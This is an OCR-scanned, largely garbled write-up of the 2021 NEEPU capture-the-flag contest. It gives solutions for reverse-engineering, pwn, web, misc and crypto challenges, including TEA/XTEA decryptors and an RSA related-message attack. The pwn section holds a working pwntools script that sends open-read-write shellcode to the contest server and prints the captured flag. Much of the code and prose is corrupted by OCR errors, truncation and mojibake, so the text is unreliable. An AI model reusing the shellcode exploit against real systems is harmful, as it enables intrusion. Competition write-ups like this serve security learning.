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) strcpy(' , "flag{world Vjeal}");

39 for (3 =0; 7 <=4; ++] )

- (31 = *(CBYTE *)v17 + 3);  pmoepp—sesis, EREVAREINT, R,
41| for (] = 5; <= 9; ++7 )

42 (i1 = [i1;

A3 puts("Welcome to the 2021 NEEPUCTF");
44| puts("Now you can enjoy it"};

45| puts("Please input right number:"};
46| scanf("%s", Y; PN

47 = strlen( 33
48 if ( =10 )
29| {
50 puts("Try again™);
51 exit(@);
52| 3}
53| if ( == [@]
54 &8& == [1]
= = _
sl 88 v o) FRNFLEESESURLE, ARt aght. AGRIAT.
57 &8& == [4]
58 && == [5]
59 &8& == [6]
&& == [7]
&& == [8]
&& == [91)
{
printf("OK,FLAG is NEEPU{MD5{%s%d%d%d%d%d}}", R R R R R Y;
getchar();
3
67| else
BSR4 3]
 LEAL . OUOYOOOUUOL4O 1 OUL IV S A Eax, dli
.text:000000000040180F cmp edx, eax
.text:0000000000401811 jnz short loc_401852
.text:0000000000401813 ; 63: printf("OK,FLAG is NEEPU{MD5{%s%d%d%d%d%d}}", vl16, v4, v5, v6, v7, v8);
.text:0000000000401813 mov r8d, [rbp+118h+var_148]
.text:0000000000401817 mov ecx, [rbp+11@h+var_144 T
.text:000000000040181A mov  edx, ErﬂbEﬂl@hwaP_ldS% = C:\Users\hp\Desktop\re\OLLEH\reT.exe
.text:000000000040181D mov r9d, [rbp+11@h+var_14C] 1 !
.text:0000000000401821 mov r10d, [rbp+11@h+var_150]
.text:0000000000401825 lea rax, [rbp+118h+var_90]
.text:000000000040182C mov [rsp+19@h+var_16@], r8d
.text:0000000000401831 mov [rsp+19@h+var_168], ecx
.text:0000000000401835 mov [rsp+198h+var_170], edx
.text:0000000000401839 mov r8d, riled
.text:000000000040183C mov rdx, rax
.text:000000000040183F lea rcx, alDkFlagIsNeepuM
.text:0000000000401846 call printf
.text:000000000R40184B ; 64: getchar();
.text:0000PEOBRB4A184B call getchar
.text:0000000000401850 jmp short loc_4@185E

MD5)in#—T, #iflagh

Neepu{a4db343d5faf70bc4fb88dd8d4dc86de}
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[

( [1 args)

text = “ml0b”;

text? = “D{03”;

text3 = “DgiE”:

textd = 0D 17

array =

arrays =

arrays =

arrayd =
array[0] = text[0];
array[1] = text2[0];
array[2] = text3[0];
array[3] = text4[0];
array2[0] = text[1];
array2[1] = text2[1];
array2[2] = text3[1];
array2[3] = texta[1];
array3[0] = text[2]
array3[1] = text2[2];
array3[2] = text3[2];
array3[3] = texta[2]
array4[0] = text[2];
array4[1] = text2[2];
array4[2] = text3[2];
array4[3] = texta[2]
Program (array):
Program (array?);
Program (arraya);
Program (arrayd)

#tinclude<stdio.h>

#tinclude <iostream>

void Encryptl(char *stringl)
{
int num = 16;
for (int i = @; i < num; i++)
{
bool flag = stringl[i] >= 'a' && stringl[i] <= 'z';
if (flag)
{
bool flag2 = stringl[i] >= 'a' && stringl[i] <= 'y';
if (flag2)
{
stringl[i] -= '\ue@o@lf';
}

else

{

stringl[i] = 'A’;




}

else
{
bool flag3 = stringl[i] >= 'A' && stringl[i] <= 'Z';
if (flag3)
{
bool flagd = stringl[i] >= 'A' && stringl[i] <=
if (flag4d)
{
stringl[i] += '!";
¥
else
{
stringl[i] = 'a‘;
¥
}
else
{
bool flag5 = stringl[i] >= '@' && stringl[i] <=
if (flags)
{
bool flag6 = stringl[i] == '9';
if (flagé6)
{
stringl[i] = '0';
}

else

{
stringl[i] += "\u@ool';

int main(void)
{
char text[] = "mDDOT{gD009 bSE}";
Encryptl(text);
printf("%s",text);
b
//Neepu{Hepl0 Ctf}
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16| puts(Buffer);

17| puts(aTheCatIsVeryCu);

18| puts(aMyCatIslLostHel);

19| puts(aPleaseInputYou);

20| puts(aTellMel2);

21| scanf("%256s\n", Str);

22| w8 = strlen(Str);

22| v8 = (char *)sub_401500(5tr, v0); TFbasel&
24 for (1= 0; ; ++1 )

250 {

26 vl = i;

27 if ( vl »>= strlen(v8) )

28 break;

29 vA[i] = v8[i];

30| }

31| strepy(vs, "WEYe2KYaXv77PYctBWISZZInCucHCYcxPZHpAvg/lecmBXES4AZIc"); e
32| memset(vio, B, sizeof(vio));

33| sub_40167D(v4) ; ASEHENEFH, INSFERASEH
34| sub_401746(v4); {SHEA3M9YIENE
35 for (] = 8; ; ++7 )

36| {

37 v2 = j;

38 if ( v2 >= strlen(vd) )

39 break;

40 if ( va[3i] '= v5[31 ) He&
a1 {

42 printf("ppap”);

43 goto LABEL_2;

a4 ¥

45/ %}

S LR, 155
TcVb2HVxUs77MVzqYTF5WWFKZrzEZVzuMWEMXsn71bzjYUB54WFz
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#tinclude<stdio.h>

int main(void)
{
char flag[]="TcVb2HVxUs77MVzqYTF5WWFkZrzEZVzUuMWEMXsn71bzjYUB54WFz" ;

int i;

for(i=0;i<53;i++)

{
if(flag[i]>=65&&flag[i]<=90)
{

flag[i]=flag[i]+32;
continue;
by
if(flag[i]<=1228&&flag[i]>=97)
{
flag[i]=flag[i]-32;
¥
¥
printf("%s",flag);

}
//tCvB2hvXuS77mvZQytf5wwfkKzRZezvZUmweMxSN71BZJyub54wfZ

A8 K base

import base64
import string

strl ="tCvB2hvXuS77mvZQytf5wwfKzRZezvZUmweMxSN71BZJyub54wfzZ"
stringl = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIIKLMNOPQRSTUVWXYZ+/ "
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/"

print(base64.b64decode(strl.translate(str.maketrans(stringl, string2))))
#Neepu{Shal_tal_Yang_De_x1a0_lan_ma@_ya}

login

AEMEAT, JFiEHidaE, th& Rk Elcheck N Jaok A ERIL, X Z&pythonS HITEMFE, HiAE Flexel’
py(https://blog.csdn.net/m0_37552052/article/details/88093427).
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python pyinstxtractor.py [filename]


https://blog.csdn.net/m0_37552052/article/details/88093427

R —Acffde, HA —retest.pyc

lin.exe_extracted v | O PO .
=0 ) eI sem A
B pyi rth_tkinter.pyc 2021/5/23 0:42 Con
B pyi rth multiprocessing.pyc 2021/5/23 0:42 Con
B pyiboot01_bootstrap.pyc 2021/5/23 0:42 Con
B pyimod01 os path.pyc 2021/5/23 0:42 Con
B pyimod02_archive.pyc 2021/5/23 0:42 Con
B pyimod03 importers.pyc 2021/5/23 0:42 Con
Ij pyi-windows-manifest-filename retes... 2021/5/23 0:42 MA
| python28.dll 2021/5/23 0:42 RiFE
[&! PYZ-00.pyz 2021/5/23 0:42 Pytt
Ij retest2.exe.manifest 2021/5/23 0:42 MA
P retest2.pyc J‘ziﬁ—-ﬁ\uqretegtz_pyc 2021/5/23 0:42 Con
= select.pyd 2021/5/23 0:42 PYD
P struct.pyc 2021/5/23 0:42 Con
] telast.dll 2021/5/23 0:42 RIFE v

. s

4 FEX A pye, 133 fpy it R inFtfiflag, @<

uncompyle6 -o C:\Users\hp\Downloads\xxx.py C:\Users\hp\Downloads\xxx.pyc

15 %lflag

ez
IXTE R I R LA 22, red, AB K base, tea, xtea
S EV

37| sub_4@E3F@();

38| puts("Do you like basketball?");
39| scanf("%s", Source); ImAflag
40| strcpy(Destination, Source);
41 memset(v/, @, sizeof(v/));

42| memset(vs, @, @x80u); re4ikey

43| sub_408235D(Source, v7, |"1:lag{wou1d_vou_like_baSI(etball?}'l);

44| v28 = 32; X EEErcdngE, AfE3EEbase
45| [v24]e] = 2;

46 |v2A[1] = 25 | teq xteahn@fike

47| [v24[2] = 3; ' 4

48| |v24[3] = 4;

49| —pubsf—please—dnput—pour—tuelay number");

50 fOP(i:B;i<=1;++i)
51 scanf("%d", &v25 + 1);

Sl ot sem ks | BASNE missTeaE, Fatiixea
54| for (k= @; k <= 1; ++k ) I,

55 scanf("%d", &v20 + k);

56| for (1 =9; 1 <=1; ++1 )

57 scanf("%d", &I18 + 1);

A s




N /2tea, xtealnz

|owvaA[@e] = v25;
| vA[1] = v26;
| vA[2] = v22;
va[3] = v23;
va[4] = v28;
va[5] = v21;
va[b] = v18;
vA[7] = v19;

| ffor ((m = @; m <= 7; ++m )

{
: for (n=7; n>m; --n)
' {
[ if ( va[n] < v4[n - 1] )
{

v27 = vd[n];
vd[n] = v4[n - 1];
vid[n - 1] = v27;
' ¥
' ¥
T Lk

| tea((unsigned int *)&v25, v24);
| tea(({unsigned int *)8&v22, v24);
| xtea(v28, &v28, v24);

xtea(v28, &v1B8, v24);
memset(vo, @, sizeof(vo));

vl6 = @x9F5FBC48;
vl/ = @xC5517691;
vid = @x24BDF9OF;
vl5 = @x301B8BESB;
vlZ2 = @x92750C5A4;
vls = OxABDOSEQE;
vl® = @x8DDB2793;
vll = @x4F558864;

I 1) S B A B
|| vi4 1= w22
|| w15 1= w23
|| viz 1= v20
|| w13 1= w21
|| vie 1= v18
|| vi1 1= w19 )
{
printf("you are wrong");
) exit(0); v72rcd+basebdfg
for ( ii = @; ii <= 47; ++ii ) Hflag
*(_DWORD *)&v8[4 * ii + 128] + va[ii % 8]~ |v7[ii];
for ( J1 =@; 7] <= 47; ++37 )
{ VAR MBI RIS L

exit(@);
}

system("PAUSE");
return @;

JHA, Sefa I8 AL

tea

if ( w9[i] !'= *(_DWORD *)&/S[4 * i + 128] )

128RR%FE T

printf("Right, FLAG is Neepu{%s}\n", Destination});

& ENEL
VUL3L] = /4]
va[33] = 83;
vo[34] = 118;
va[35] = 65;
va[3e] = 79;
va[37] = 118;
vO[38] = 68;
vO[39] = 126;
vo[4e] = 109;
va[41] = 70;
vo[42] = 63;
val43] = 62;
var44] = 4;
va[45] = 5;
varde] = 7;
vo[47] = 8;

BRANRS MBI HERF. HakvAsiiE,

VO ERERIE



#tinclude<stdio.h>

void decrypt(unsigned int *code , unsigned int *key)

{

xtea

unsigned int delta=0x9e3779b9;
unsigned int v@,v1l, sum=0xC6EF3720,1i;// sum=0xC6EF3720

vO=code[9];

vl=code[1];

for(i=0;i<32;i++)

{
vli-=( (vO<<4)+key[2] ) ~ (vO+sum) ~ ( (vO>>5)+key[3] );
vO-=( (v1<<4)+key[O] ) ~ (vil+sum) ~ ( (v1i>>5)+key[1] );
sum-=delta;

b

code[0]=vO;

code[1]=v1;

main()

unsigned int key[4]={2,2,3,4};
unsigned int code[2]={0x24BDF90F,0x301B88E8};

decrypt(code, key);
printf("%x %x",code[@],code[1]);




#tinclude<stdio.h>

void decrypt(unsigned int r ,unsigned int *code ,unsigned int *key)
{
unsigned int v@,vl,i,delta=0x9e3779b9;

unsigned int sum=delta*r;

vO=code[9];

vl=code[1];

for(i=0;i<r;i++)

{
vli-=( ((vO<<4) ~(v0>>5)) +vO ) A ( sum + key[ (sum>>11)&3 ]);
sum-=delta;
vO-=( ((vi<<4) ~ (v1>>5)) +vl ) ~ ( sum + key[sum&3] );

¥

code[0]=vO;

code[1]=v1;

main()
unsigned int key[4]={2,2,3,4};
unsigned int r=32;

unsigned int code[2]={0x8DD02793,0x4F558864};

decrypt(r,code, key);
printf("%x %x",code[0@],code[1]);

125IVA={(1 1342587}, HF/Eva0={1,1,2,34

SR S Bl fif # + A2 K base+rc4

#include<stdio.h>

int main()

{

int v9[48];

int v7[48]={0};

int v4[]1={1,1,2,3,4,5,7,8};

char a[]={0xa5,0x4c,0xb6,0xea,0xdd,0xb9,0xb6,0x50,0x40,0xas,0xda,0x37,0xes,0xa,0x98,0xf7,0x5e,0x42,0x7f,0x1f, 0
x2,0xca,dx4e,0x9c,0x96,0xb4,0xdb,0x90,0xa7,0x15,0x12};

char key[]={0x94,0x75,0x81,0xd2,0xfd,0x81,0x9b,0x62,0x73,0xes4,0x91,0x58,0x86,0x6f,0xd8,0xb5,0x3f,0x31,0x14,0x7|
a,0x76,0xa8,0x2f,0xf0,0xfa,0x97,0xff,0xb5,0xf9,0x33,0x38};

int i;

vo[e] = 81;
vo[1] = 116;
vo[2] = 91;
vo[3] = 49;
vo[4] = 50;
vo[5] = 81;
vo[6]

vo[7] = 61;
vo[8] = 85;
vo[9] = 77;
vo[10] = 96;
vo[11] = 98;




vo[13]
vo[14]
vo[15]
vo[16]
vo[17]
vo[18]
v9[19]
vo[20]
vo[21]
vo[22]
vo[23]
vo[24]
v9[25]
v9[26]
v9[27]
vo[28]
vo[29]
vo[30]
vo[31]

for(i=0;i<48;i++)

{
v7[i]=v9[i]~v4[i%8];
printf("%c",v7[i]);

}

printf("\nNeepu{");

for(i=0;i<31;i++)

{
printf("%c",a[i] key[i]);

}

printf("}");

}
//PuY26Tc5TLbaPn035aQy915cFX8cYK6CLRtBKkCveG==

//Neepu{1978-8-23@Kobe@Basketball#$%"&*}

flag® # # 4;




ANEIRINFE 5 apk, B FEhttps:/izhuanlan.zhihu.com/p/45591754

> tHa
> #b
~ f# com
v H# example
~ #f demo 7
> O MyWrapperProxyApplication
v B tencent pEE
~ i StubShell
> @ TxAppEntry
v Wrapper
~ # proxyapplication
» @ AndroidNClassLoader
» @ CustomerClassLoader
> @ MultiDex
> @ MultiDexForMemoryDex
> @ MultiDexForTinker
> @ MultiDexForTinkerForMemaory
>
?
>

© ShareReflectUtil
© Util
@ WrapperProxyApplication

i e i 4 £ljeb 7 Hr


https://zhuanlan.zhihu.com/p/45591754

AW, HEXAAE

public boolean login(String arg7?, String arg8) {

SQLiteDatabase v@ = this.dbHelper.getReadableDatabase();
StringBuilder vl = new StringBuilder(};
vl.append(“select * from users where username=\'"};
vl.append(arg?);
vl.append{"\' and password = \'");
vl.append(args);
vl.append{"\'");
Cursor w3 = v@.rawQuery(vl.toString(), new String[@]);
if(v3.moveToFirst()) {

v3.close();

return 1;

return @;

L
public boolean register() {

if(this.Check()) {

elper.getReadableDatabase().execSQL{"insert into users(username,password) valdes(\'ALG\',\'AKRE\')"| new Object[@]);
return 1;

1s.4dp

}
return 0; usernam=ALG, password=AKRE,

R EHG 3, T G Eflag 1

FlagManagementSystem

Neepu{1204A5C2AC4E8891367B2B2C03F72BB8}

pwn

ncc



idafT 3L, R — Dy AT ASHD)E 5 2222333

llint _ cdecl main(int argc, const char **argv, const char **envp)

2l

3| char *v3; // rax

41 char *v4; // rax

5

6 3 = strtok((char *)argv[1], "_"); &S4TEEE)
7l strepy(vl, v3);

2l w4 = strtok(eLL, "_");

9l strcpy(v2, vi);

o) if ( stremp("2333", v1) || stremp("2333", v2) )
1A #HE=2333

2 puts(“please try again.");

3 exit(0);

A}

5| puts(“Congratulations!");

6| flag(); #JEpflag

7| return @;

8}

Pr LA E#EnciE R, Je e AZ#12333_2333 41T 1 .

~/RH

c.club 18580

aal-4b81-aad5-c6959cfdc3bal

easy_shellcode

FI FHwrite() read() 5 £ 4t A £ 138 H b5 EHLF fflag

1| _int64 _ fastcall mai int64 al, char **a2, char **a3) |
21

3| wvoid *buf; // [rsp+8h] [rbp-16h]

4

5/ sub_8C3(al, a2, a3l);

6 buf = (void #)(int)mmap((void *)@x23330000, Ox1@eeuLL, 7, 34, -1, 6LL);
7| puts("just learn orw"); EEdorw

8 read(@, buf, 0x200ulL);

9| ((void (*)(void))buf)(};
18| return @LL;
11}

exp



from pwn import *
context(arch = 'amd64', os = 'linux')

#p = process('./pwn')
remote( 'neepusec.club', 18707)

shellcode="""
push 0x67616c66
mov rdi,rsp
push 2

pop rax

xor rsi,rsi
push 64

pop rdx
syscall

mov rdi,rax
mov rsi,rsp
Xor rax,rax
syscall

push 1

pop rdi

push 1

pop rax
syscall

sc=asm(shellcode,arch="amd64"',o0s="1linux")
#gdb.attach(p)

# step 2
payload = sc
p.send(payload)

p.interactive()

2 ~/Desktop
./csgo.py

<frozen importlib._bootstrap>:228: RuntimeWarning: greenlet.greenlet changed,
mpatibility. Expected 144 from C header, got 152 from PyObject
<frozen importlib._bootstrap>:228: RuntimeWarning: greenlet.greenlet changed,
mpatibility. Expected 144 from C header, got 152 from PyObject
<frozen importlib._bootstrap>:228: RuntimeWarning: greenlet.greenlet changed,
mpatibility. Expected 144 from C header, got 152 from PyObject
<frozen importlib._bootstrap>:228: RuntimeWarning: greenlet.greenlet changed,
mpatibility. Expected 144 from C header, got 152 from PyObject
[+] Opening connection to neepusec.club on port 18707: Done
[#] Switching to interactive mode
just learn orw
Neepu{87ee6bcc-Qede-4069-a910-852ef9cce5f9}
AxcfiAx00\x00\x00\x00\x00,/ \xc1\xff\x[*] Got EOF while reading in interactive

web

LOVE_DEATH&ROBOTS




FTFF Mk 5 Frobots. txt
R, SRJ5 8 IR Fflag
remote_table

BLAL, K ILA /S notfund.html
27 D K Fflag

misc

22 Ut 1 1

PN A
|| dragon praLs 16KE & M7 KB 1%
dragon's talk.rar WinRAR 455044 7707 KB & 7,706 KB 0%

B — N i foremost 43 55

R fr, X2 B R e

¥ T *

S o T T S =

TjT }

(R R ? «
WX R NS -

P T /& youseethedragon
T S AT

f# Fisilenteye, 73 &5 & S SC A4 ) flag . txt
base64fii %15 2lflag

Neepu{YOU_c4N_5p3ak _D74gln_L4nge}

15 Puzzle!
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You Win! This is your flag: Neepu{Pu33le GAME n22ds Gredt M!
nd!}

coin
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This is the coin market, you need to use your intelligence to earn a million to get the flag
your have:
BTC: @ ETH: @ DOT:@ XRP: 4000 money:2931.760000000002

l.view price

2 .purchase

3.sell out

Please enter your choice:

)

What do you want to buy ?

> XRP

How many XRP do you want to buy ?
>>>100000000000

SUCCess
Neepu{9107dce4-70d6-4b62-99fd-250bd5b246ad}

Enter any key to continue ...

noob
linux A |]
hint.txtiiflag /AR H 3%, e FHA H s 3]

grep -r Neep /etc

getflag /etc/neepu.conf:Neepu{ec65303a-594a-471b-842c-55bad9fffc74}

B K

10038k, WEAR, cv Iz,

>>> 4051411 + 7369807
11421218

>>> 1927490 * 3406803
6566578714470

>>> 2103378 + 4767414
6870792

>>> 9851522 + 7557356
17408878

>>> 7849095 - 4060360
EVAVER

>>> 3676374 * 461769

1697635545606

>>> 8761933 * 7649393
67023468956669

>>> 4366584 + 3791505
8158089

>>> 6187043 + 3868519
10055562

>>> 915470 - 1468721

-553251

>>> 7114910 * 4171780
29681839239800

>>> 3709127 * 7200939
26709197270253

>>> 5630669 * 469636

2644364866484

>>> 839781 - 3900794




-3061013

>>> 5749805 + 2756048

8505853

>>> 5802392 * 5964966

34611070998672
4633303

+ 2839796

9410974

7035072

>>> 3045929 * 8383894
25536745867526

>>> 9461518 - 775249
8686269

>>> 2070079 * 9062547
18760188231213

>>> 1372378 * 3324559
4562551631302

>>> 7935742 - 9654162
-1718420

>>> 7471885 * 3143174
23485434662990

>>> 5233253 + 2130813
7364066

>>> 3733553 - 1545796
2187757

>>> 4607382 - 4660512
-53130

>>> 5294353 * 9751863
51629805129639

>>> 7134216 + 7567342
14701558

>>> 7338456 - 7831906
-493450

>>> 4329962 - 5722123
-1392161

>>> 4089460 * 4515643
18466541422780

>>> 2500797 + 9106349
11607146

>>> 6490141 + 720890
7211031

>>> 941026 * 2354719
2215851801694

>>> 4927762 * 3892571
19181663456102

>>> 9236915 - 9986229
-749314

>>> 8508956 - 2031014
6477942

>>> 5909116 * 895019
5288771093204

>>> 5446863 * 3366598
18337398082074

>>> 7110459 - 1318622
5791837




5907091

>>> 6086609 + 1407736
7494345

>>> 8255658 + 9922356
18178014

>>> 2028134 + 6868507
8896641

>>> 784992 - 6018989
-5233997

>>> 3654529 - 33051
3621478

>>> 8342583 - 689917

146830437604321
>>> 25 % 2

1

>>> 93 ** 7
60170087060757

>>> 17 ** 10
2015993900449
>>> 23 % 6




75 %

>>> 46 ** 8
20047612231936

o,

167961600000000
>>> 96 % 1

o,

9

flagi& /A7 oKk, WAELETE T,

AZ




7EiX Bk Flflag

(@ Nonce Position 78 &

(@) Input Data: e
B @R @QF @@ @RE BER
EREERE" BEafWEQ” EREREERI

View Input As  + & Decode Input Data

Click to see Less 4

crypto
EEAE Tk
— TR, B F 7 hint

2 3)png X, Hohpng.pngfs 3 i V) S 2%

1 2 3 4 5 6 7 8 9 10
q f w I I S z ch ch j

1 2 3 - 5 6 7 8 9 10
u uan ou en ua an e ian i an

RIEZA L lagh LA

EENOEE, TEERGR, X PN 141 2 hlkEflagk

R fHlag £y 75 A 1

MRS UV E RS AR 3, e i R B, FEEE —HEE R, RN B

5 Ja flag v

BRE REEUERaNWERER] REREaDWEQEUE
97 6p @ @R Byp¢dipfsX"E B2 &W/E0E;Z7dyE00E"E6E(%8najRIadsolcCa3

ong

ua

rJeepu {neobbbb18ckchaTn }iRP EEQE" EFaOFEEabV [ PARFa\W By [ PayV[EET B
5 BEE BEEapV[ [ PEPabEFadV [ PEV] [EEI

Neepu{141181832310414124141}

EEFlefR/N Hdiffe = nextprime(random.randint(1,1000)) Ik4H %] related message attack fi# i mfile



chall2

m = encode(p, q, €)

def encode (p1,p2,e):
not_hint = (p1 + 1) * (p2 + 1)
S = gmpy2.invert(e, not_hint)
not_p = S%(pl+l)

return not_p

B me s, NS mod (p1+1) 25 AR B dpilh s, 8 % KR/, il o Rl K A i flag

exp

# sage
from Crypto.Util.number import *
from gmpy2 import *

def short_pad_attack(cl, c2, e, n):
PRXy.<Xx,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

gl x"e - cl
g2 (x+y)~e - c2

gl = gl.change_ring(PRZZ)
g2 = g2.change_ring(PRZZ)

g2.resultant(ql)
h.univariate_polynomial()
h.change_ring(PRx).subs(y=xn)
h.monic()

kbits = n.nbits()//(2*e*e)
diff = h.small_roots(X=2~kbits, beta=0.4)[0]

return diff

related_message attack(cl, c2, diff, e, n):
PRx.<x> = PolynomialRing(Zmod(n))

gl = x"e - cl

g2 = (x+diff)”e - c2

def gcd(gl, g2):
while g2:
gl, g2 = g2, gl % g2
return gl.monic()

return -gcd(gl, g2)[0]

e 7

n 91995272927105081122659192011056020468305570748555849650309966887236871318156855318666540461669669247866754
5681891796876943156276735452982674588691400962246281144241769378283783609972308749320157015076292382132408393706
28366083111028544554453150572165461450371411341485911677167168492357154684642531577228543

cl = 1018606678551182975916419480320981917222496611922766863841335019966268328518928607773653716120401914779179




588612783027976958719051829085903720655233948024280118985875980227528403883475592567727892
Cc2 = 4618210399429914556202281202343849579768607710447747263149415022203840441941410072766717129009862421411324
1032861128455086601197239761085752413519627251290509474327611253599768650908336142621210005389246714504358370629
231557080301516460985022782887233790302054696967900384601182742759555421864610431428746119

diff = short_pad _attack(cl, c2, e, n)

ml = related message attack(cl, c2, diff, e, n)
print("ml = ", ml)

print("m2 = ", ml + diff)

Cc = 78543767285872349029076059073458316000847341792088805258173041942425687239313215276670106926320359777962661
4950324750044177231037012535505832455182063054229829686752915008653822131826690368278989329910633381632908455103
39896689210314509493839746410486257998875782496654704288722251878269643040214139429715671

n = 91995272927105081122659192011056020468305570748555849650309966887236871318156855318666540461669669247866754
5681891796876943156276735452982674588691400962246281144241769378283783609972308749320157015076292382132408393706)
28366083111028544554453150572165461450371411341485911677167168492357154684642531577228543

assert pow(ml,7,n) == cl
assert pow(ml+diff,7,n) == c2

ml
diff
= s*e -1

i in range(1,e):
if tmp % i ==
=tmp // i
p tmp - 1
n = mpz(n)

p = mpz(p)
if gmpy2.gcd(n,p) !=
a=n//p
phi = mpz((p-1)*(qg-1))
d = gmpy2.invert(mpz(e),phi)

print(long_to bytes(gmpy2.powmod(c,d,n)))
exit()
# Neepu{Have-a-go@od-day12138}
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